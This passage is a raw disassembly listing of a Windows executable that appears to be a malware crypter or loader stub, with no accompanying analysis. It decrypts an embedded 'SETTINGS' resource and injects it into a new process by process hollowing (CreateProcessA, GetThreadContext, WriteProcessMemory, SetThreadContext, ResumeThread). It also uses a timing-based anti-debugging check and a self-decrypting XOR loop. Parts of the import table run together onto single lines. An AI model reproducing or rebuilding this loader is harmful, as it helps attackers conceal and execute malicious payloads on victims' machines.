		lea	eax, [ebp+var_C]
		push	eax
		push	4
		mov	eax, [ebp+var_18]
		add	eax, 34h
		push	eax
		mov	eax, [ebp+var_44]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_F8]
		push	eax
		call	sub_1000355C	; WriteProcessMemory
		mov	eax, [ebp+var_18]
		mov	eax, [eax+34h]
		mov	edx, [ebp+var_18]
		add	eax, [edx+28h]
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_E8]
		push	eax
		mov	eax, [ebp+var_F4]
		push	eax
		call	sub_10003544	; SetThreadContext
		mov	eax, [ebp+var_F4]
		push	eax
		call	sub_1000353C	; ResumeThread
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10003986


loc_10003974:				; CODE XREF: sub_10003710+274j
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_100032AC
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_1000397F:				; DATA XREF: sub_10003710+4Ao
		jmp	loc_10002A5C
; ---------------------------------------------------------------------------
		jmp	short loc_10003974
; ---------------------------------------------------------------------------


loc_10003986:				; CODE XREF: sub_10003710+26Ej
					; DATA XREF: sub_10003710+25Fo
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100039A6


loc_10003993:				; CODE XREF: sub_10003710+294j
		lea	eax, [ebp+var_140]
		call	sub_10002FC0
		retn
; ---------------------------------------------------------------------------


loc_1000399F:				; DATA XREF: sub_10003710+1Ao
		jmp	loc_10002A5C
; ---------------------------------------------------------------------------
		jmp	short loc_10003993
; ---------------------------------------------------------------------------


loc_100039A6:				; CODE XREF: sub_10003710+28Ej
					; DATA XREF: sub_10003710+27Eo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_10003710	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100039B0	proc near		; DATA XREF: CODE:10003A04o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_100039CF
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100039D6


loc_100039CE:				; CODE XREF: sub_100039B0+24j
		retn
; ---------------------------------------------------------------------------


loc_100039CF:				; DATA XREF: sub_100039B0+6o
		jmp	loc_10002A5C
; ---------------------------------------------------------------------------
		jmp	short loc_100039CE
; ---------------------------------------------------------------------------


loc_100039D6:				; CODE XREF: sub_100039B0:loc_100039CEj
					; DATA XREF: sub_100039B0+19o
		pop	ebp
		retn
sub_100039B0	endp

; ---------------------------------------------------------------------------
dword_100039D8	dd 5							; BSS:off_10005624o
		dd offset off_100039E0
off_100039E0	dd offset loc_100034C4	; DATA XREF: CODE:100039DCo
		dd offset sub_10003494
		dd offset sub_10003318
		dd offset sub_100032C4
		dd offset sub_100034FC
		dd offset sub_100034CC
		dd offset sub_100035A4
		dd offset sub_10003574
		dd 0
		dd offset sub_100039B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_10003A08	proc near		; CODE XREF: start-1Bp

var_14		= dword	ptr -14h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_14], eax
		mov	eax, offset dword_100039D8
		call	sub_10003450
		xor	eax, eax
		push	ebp
		push	offset loc_10003AD4
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	0Ah
		push	offset aSettings ; "SETTINGS"
		mov	eax, ds:dword_10005700
		push	eax
		call	sub_1000350C	; FindResourceA
		mov	ebx, eax
		push	ebx
		mov	eax, ds:dword_10005700
		push	eax
		call	sub_1000354C	; SizeofResource
		mov	edi, eax
		push	ebx
		mov	eax, ds:dword_10005700
		push	eax
		call	sub_10003524	; LoadResource
		mov	ebx, eax
		push	ebx
		call	sub_1000352C	; SetHandleCount
		mov	esi, eax
		test	esi, esi
		jz	short loc_10003A90
		mov	edx, edi
		dec	edx
		mov	eax, offset dword_10005714
		call	sub_10003124
		mov	eax, offset dword_10005714
		call	sub_1000311C
		mov	ecx, edi
		mov	edx, esi
		call	sub_10003564
		push	ebx
		call	sub_10003514	; FreeResource


loc_10003A90:				; CODE XREF: sub_10003A08+60j
		lea	ecx, [ebp+var_14]
		mov	edx, offset aXxxxxxxxxxxxxx ; "xxxxxxxxxxxxxxxxxx"
		mov	eax, ds:dword_10005714
		call	sub_100035AC
		mov	edx, [ebp+var_14]
		mov	eax, offset dword_10005714
		call	sub_10003014
		mov	eax, offset dword_10005714
		call	sub_1000311C
		call	sub_10003710
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10003ADB


loc_10003ACB:				; CODE XREF: sub_10003A08+D1j
		lea	eax, [ebp+var_14]
		call	sub_10002FC0
		retn
; ---------------------------------------------------------------------------


loc_10003AD4:				; DATA XREF: sub_10003A08+1Bo
		jmp	loc_10002A5C
; ---------------------------------------------------------------------------
		jmp	short loc_10003ACB
; ---------------------------------------------------------------------------


loc_10003ADB:				; CODE XREF: sub_10003A08+CBj
					; DATA XREF: sub_10003A08+BEo
		pop	edi
		pop	esi
		pop	ebx
		call	sub_10002ED0
sub_10003A08	endp

; ---------------------------------------------------------------------------
		align 4
aSettings	db 'SETTINGS',0         ; DATA XREF: sub_10003A08+28o
		align 10h
		dd 0FFFFFFFFh, 12h
aXxxxxxxxxxxxxx	db 'xxxxxxxxxxxxxxxxxx',0 ; DATA XREF: sub_10003A08+8Bo
		align 4
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_10003B0E:				; CODE XREF: start+Fj
		add	ax, 5
		add	ax, 444h
		sub	ax, 43h
		xor	cl, cl
		mov	eax, offset sub_10001000
		inc	cl


loc_10003B23:				; CODE XREF: start-1Dj
		xor	[eax], cl
		inc	eax
		cmp	eax, 10003AE2h
		jle	short loc_10003B23
		call	sub_10003A08
; END OF FUNCTION CHUNK	FOR start
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		add	ax, 44h
		sub	ax, 5
		ror	ax, 5
		ror	ax, 5
		ror	ax, 5
		retn

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

; FUNCTION CHUNK AT 10003B0E SIZE 00000024 BYTES

		rdtsc
		xor	ecx, ecx
		add	ecx, eax
		rdtsc
		sub	eax, ecx
		cmp	eax, 0FFFh
		jb	short loc_10003B0E
		call	nullsub_1
		nop
		retn
start		endp

; ---------------------------------------------------------------------------
		dd 6160h, 27h dup(0)
CODE		ends

; Section 2. (virtual address 00004000)
; Virtual size			: 0000009C (	156.)
; Section size in file		: 0000009C (	156.)
; Offset to raw	data for section: 00004000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
DATA		segment	para public 'DATA' use32
		assume cs:DATA
		;org 10004000h
dword_10004000	dd 0							; sub_10002E14+2w ...
dword_10004004	dd 0							; sub_10002DB8+37r ...
byte_10004008	db 2			; DATA XREF: sub_10003318+9w
		db 8Dh,	40h, 0
word_1000400C	dw 1332h		; DATA XREF: sub_10002764+6r
					; sub_10002764:loc_100027DCr ...
		dw 0C08Bh
byte_10004010	db 0			; DATA XREF: sub_10002840r
					; sub_1000285Cr ...
		db 8Dh,	40h, 0
byte_10004014	db 0			; DATA XREF: sub_10002CB8-336r
					; sub_10002CB8:loc_100029BDr
		db 8Dh,	40h, 0
byte_10004018	db 0			; DATA XREF: sub_10002E44:loc_10002EA5r
		db 8Dh,	40h, 0
dword_1000401C	dd 0							; sub_1000322C+8w ...
dword_10004020	dd 0		off_10004024	dd offset sub_10001E5C	; DATA XREF: sub_10002424+5r
					; sub_10002464+3Fr
off_10004028	dd offset sub_10001FEC	; DATA XREF: sub_10002444+5r
					; sub_10002464+26r ...
off_1000402C	dd offset sub_10002360	; DATA XREF: sub_10002464+Dr
byte_10004030	db 0			; DATA XREF: sub_100024C0+36r
aRsu		db 'ΛΜΘΙΧΟΘΝΞΫΨΚΩΪάέήίΰαγ',0
aFxn@		db 'δε@',0
aRuntimeErrorAt	db 'Runtime error     at 00000000',0 ; DATA XREF: sub_10002DB8+3o
					; sub_10002E44+32o ...
		dw 0C08Bh
aError		db 'Error',0            ; DATA XREF: sub_10002E44+6Co
		dw 0C08Bh
byte_10004074	db 30h			; DATA XREF: sub_10002DB8+41r
a123456789abcde	db '123456789ABCDEF',0  ; DATA XREF: sub_10003444o
					; sub_10003450+33o ...
		align 4
dword_10004088	dd 10000000h	dword_1000408C	dd 0		dword_10004090	dd 0				dd 2 dup(0)
DATA		ends

; Section 3. (virtual address 00005000)
; Virtual size			: 00000719 (   1817.)
; Section size in file		: 00000719 (   1817.)
; Offset to raw	data for section: 00005000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
BSS		segment	para public '' use32
		assume cs:BSS
		;org 10005000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
off_10005000	dd offset sub_100031C8	; DATA XREF: sub_10003318+17w
dword_10005004	dd 0		dword_10005008	dd 0							; sub_100024C0+16r
dword_1000500C	dd 0							; CODE:10002C28r
off_10005010	dd offset sub_10001008	; DATA XREF: sub_10002840+14r
					; sub_1000285C+16r ...
off_10005014	dd offset sub_10001010	; DATA XREF: sub_10002CB8-2B6r
					; CODE:10002C10r ...
dword_10005018	dd 0							; sub_10002ED0+B1r
dword_1000501C	dd 10000000h	dword_10005020	dd 6C8h		byte_10005024	db 0			; DATA XREF: sub_10002D78+33w
		align 4
dword_10005028	dd 0Ah		dword_1000502C	dd 142340h	dword_10005030	dd 0		byte_10005034	db 0			; DATA XREF: sub_10002E44+1r
byte_10005035	db 0			; DATA XREF: sub_10001770+1Br
					; sub_10001770:loc_10001812r ...
byte_10005036	db 2			; DATA XREF: sub_10003318+10w
		align 4
dword_10005038	dd 0							; sub_100032C4+19o
word_1000503C	dw 0D7B0h		; DATA XREF: sub_10003318+34w
		align 10h
		dd 71h dup(0)
dword_10005204	dd 0							; sub_100032C4+23o
word_10005208	dw 0D7B0h		; DATA XREF: sub_10002E44+Ar
					; sub_10003318+3Dw
		align 10h
dword_10005210	dd 0				align 10h
dword_10005220	dd 0				dd 6Bh dup(0)
dword_100053D0	dd 0		word_100053D4	dw 0D7B0h		; DATA XREF: sub_10003318+46w
		align 4
		dd 71h dup(0)
dword_1000559C	dd 1							; sub_10001D68+92w ...
dword_100055A0	dd 4D00Ch						; sub_10001D68+9Bw ...
dword_100055A4	dd 0							; sub_10003318w
byte_100055A8	db 0			; DATA XREF: sub_10001770+8Ew
					; sub_10001770:loc_1000182Dr ...
		align 4
dword_100055AC	dd 0							; sub_100014B0+63w ...
dword_100055B0	dd 6 dup(0)						; sub_10001770+24o ...
dword_100055C8	dd 0							; sub_100010E4+2Aw ...
dword_100055CC	dd 145CFCh						; sub_1000116C+Ar ...
off_100055D0	dd offset off_100055D0	; DATA XREF: sub_10001288+3Eo
					; sub_100012EC+51o ...
		dd offset off_100055D0
		align 10h
off_100055E0	dd offset off_100055E0	; DATA XREF: sub_10001530+Bo
					; sub_100015C0+Eo ...
		dd offset off_100055E0
		align 10h
dword_100055F0	dd 90D010h	dword_100055F4	dd 90D010h			dd 0
dword_100055FC	dd 90D010h						; sub_10001914+1r ...
dword_10005600	dd 0							; sub_10001C04+9r ...
dword_10005604	dd 0							; sub_10001C04+2Er ...
dword_10005608	dd 0							; sub_10001770+5Dr ...
off_1000560C	dd offset off_1000560C	; DATA XREF: sub_10001770+42o
					; sub_10001834+81o ...
		dd offset off_1000560C
		dd 2 dup(0)
dword_1000561C	dd 0							; sub_10002E14+Do ...
dword_10005620	dd 12FFB0h						; sub_10002C90+2r
off_10005624	dd offset dword_100039D8 ; DATA	XREF: sub_10002D18+6r
					; sub_10002D78+14w
dword_10005628	dd 0							; sub_10002D78+1Bw
off_1000562C	dd offset a123456789abcde+0Fh ;	DATA XREF: sub_10002D78+20w
		dd 6 dup(0)
off_10005648	dd offset loc_10003190	; DATA XREF: sub_100031A8o
					; sub_100031A8+19w
		dd 2Ah dup(offset sub_10003188)
byte_100056F4	db 0			; DATA XREF: sub_10003404r
		align 4
TlsIndex	dd 0			; DATA XREF: sub_100033C0+Cr
					; sub_100033C0+37r ...
		align 10h
dword_10005700	dd 10000000h						; sub_10003450+16r ...
dword_10005704	dd 0							; CODE:loc_100034C4w
dword_10005708	dd 0		dword_1000570C	dd 0							; sub_100034FCw
dword_10005710	dd 0							; sub_100035A4w
dword_10005714	dd 8C000Ch						; sub_10003A08+6Fo ...
		db 0
BSS		ends

; Section 4. (virtual address 00006000)
; Virtual size			: 00000446 (   1094.)
; Section size in file		: 00000446 (   1094.)
; Offset to raw	data for section: 00006000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata		segment	para public 'DATA' use32
		assume cs:_idata
		;org 10006000h
		dd 3 dup(0)
		dd 6130h, 6078h, 3 dup(0)
		dd 629Ch, 60C8h, 3 dup(0)
		dd 62D4h, 60D8h, 3 dup(0)
		dd 6314h, 60E8h, 3 dup(0)
		dd 6360h, 60FCh, 5 dup(0)
dword_10006078	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSectiondword_1000607C	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_10006080	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_10006084	dd 7C809EF1h	; resolved to->KERNEL32.InitializeCriticalSectiondword_10006088	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_1000608C	dd 7C809A51h	; resolved to->KERNEL32.VirtualAllocdword_10006090	dd 7C80992Fh	; resolved to->KERNEL32.LocalFreedword_10006094	dd 7C80998Dh	; resolved to->KERNEL32.LocalAllocdword_10006098	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadIddword_1000609C	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoAdword_100060A0	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_100060A4	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_100060A8	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrarydword_100060AC	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcessdword_100060B0	dd 7C810D87h	; resolved to->KERNEL32.WriteFiledword_100060B4	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_100060B8	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_100060BC	dd 7C812A09h	; resolved to->KERNEL32.RaiseExceptiondword_100060C0	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle		align 8
dword_100060C8	dd 7E43119Bh	; resolved to->USER32.GetKeyboardTypedword_100060CC	dd 7E45058Ah	; resolved to->USER32.MessageBoxAdword_100060D0	dd 7E42DF50h	; resolved to->USER32.CharNextA		align 8
dword_100060D8	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExAdword_100060DC	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExAdword_100060E0	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey		align 8
dword_100060E8	dd 7C809BC5h	; resolved to->KERNEL32.TlsSetValuedword_100060EC	dd 7C809740h	; resolved to->KERNEL32.TlsGetValuedword_100060F0	dd 7C80998Dh	; resolved to->KERNEL32.LocalAllocdword_100060F4	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA		dd 0
dword_100060FC	dd 7C80220Fh	; resolved to->KERNEL32.WriteProcessMemorydword_10006100	dd 7C809A72h	; resolved to->KERNEL32.VirtualAllocExdword_10006104	dd 7C80BC69h	; resolved to->KERNEL32.SizeofResourcedword_10006108	dd 7C862A69h	; resolved to->KERNEL32.SetThreadContextdword_1000610C	dd 7C8328F7h	; resolved to->KERNEL32.ResumeThreaddword_10006110	dd 7C8021CCh	; resolved to->KERNEL32.ReadProcessMemorydword_10006114	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_10006118	dd 7C809FB5h	; resolved to->KERNEL32.LoadResourcedword_1000611C	dd 7C83970Dh	; resolved to->KERNEL32.GetThreadContextdword_10006120	dd 7C8260C2h	; resolved to->KERNEL32.FreeResourcedword_10006124	dd 7C80BE89h	; resolved to->KERNEL32.FindResourceAdword_10006128	dd 7C802367h	; resolved to->KERNEL32.CreateProcessA		align 10h
aKernel32_dll	db 'kernel32.dll',0
		align 10h
aDeletecritical	db 'DeleteCriticalSection',0
		align 4
aLeavecriticals	db 'LeaveCriticalSection',0
		align 10h
aEntercriticals	db 'EnterCriticalSection',0
		align 4
aInitializecrit	db 'InitializeCriticalSection',0
		align 4
aVirtualfree	db 'VirtualFree',0
		dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 6F4C0000h, 466C6163h
		dd 656572h, 6F4C0000h, 416C6163h, 636F6C6Ch, 0
aGetcurrentthre	db 'GetCurrentThreadId',0
		align 10h
		dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 4D746547h
		dd 6C75646Fh, 6C694665h, 6D614E65h, 4165h, 65470000h, 6D6F4374h
		dd 646E616Dh, 656E694Ch, 41h, 65657246h, 7262694Ch, 797261h
		dd 78450000h, 72507469h, 7365636Fh, 73h, 74697257h, 6C694665h
		dd 65h,	61686E55h, 656C646Eh, 63784564h, 69747065h, 69466E6Fh
		dd 7265746Ch, 0
aRtlunwind	db 'RtlUnwind',0
		align 4
aRaiseexception	db 'RaiseException',0
		align 4
		dd 65470000h, 64745374h, 646E6148h, 656Ch, 72657375h, 642E3233h
		dd 6C6Ch, 65470000h, 79654B74h,	72616F62h, 70795464h, 65h
		dd 7373654Dh, 42656761h, 41786Fh, 68430000h, 654E7261h
		dd 417478h, 61766461h, 32336970h, 6C6C642Eh, 0
aRegqueryvaluee	db 'RegQueryValueExA',0
		align 4
aRegopenkeyexa	db 'RegOpenKeyExA',0
		align 4
aRegclosekey	db 'RegCloseKey',0
aKernel32_dll_0	db 'kernel32.dll',0
		align 4
aTlssetvalue	db 'TlsSetValue',0
		dd 6C540000h, 74654773h, 756C6156h, 65h, 61636F4Ch, 6C6C416Ch
		dd 636Fh, 65470000h, 646F4D74h,	48656C75h, 6C646E61h, 4165h
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
aWriteprocessme	db 'WriteProcessMemory',0
		align 4
		dd 69560000h, 61757472h, 6C6C416Ch, 7845636Fh, 0
aSizeofresource	db 'SizeofResource',0
		align 4
		db    0
		align 2
aSetthreadconte	db 'SetThreadContext',0
		align 4
		db    0
		align 2
aResumethread	db 'ResumeThread',0
		align 4
		db    0
		align 2
aReadprocessmem	db 'ReadProcessMemory',0
		dd 6F4C0000h, 65526B63h, 72756F73h, 6563h, 6F4C0000h, 65526461h
		dd 72756F73h, 6563h, 65470000h,	72685474h, 43646165h, 65746E6Fh
		dd 7478h, 72460000h, 65526565h,	72756F73h, 6563h, 69460000h
		dd 6552646Eh, 72756F73h, 416563h, 72430000h, 65746165h
		dd 636F7250h, 41737365h
		db 2 dup(0)
_idata		ends

; Section 5. (virtual address 00007000)
; Virtual size			: 00000008 (	  8.)
; Section size in file		: 00000008 (	  8.)
; Offset to raw	data for section: 00007000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
_tls		segment	para public '' use32
		assume cs:_tls
		;org 10007000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
TlsStart	dd 2 dup(0)		; DATA XREF: .rdata:TlsDirectoryo
_tls		ends

; Section 6. (virtual address 00008000)
; Virtual size			: 00000018 (	 24.)
; Section size in file		: 00000018 (	 24.)
; Offset to raw	data for section: 00008000
; Flags	50000040: Data Shareable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 10008000h
TlsDirectory	dd offset TlsStart
TlsEnd_ptr	dd 10007008h
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsSizeOfZeroFill
TlsSizeOfZeroFill dd 0			; DATA XREF: .rdata:TlsCallbacks_ptro
TlsCharacteristics dd 0
_rdata		ends

; Section 9. (virtual address 00058000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00057200
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 10058000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start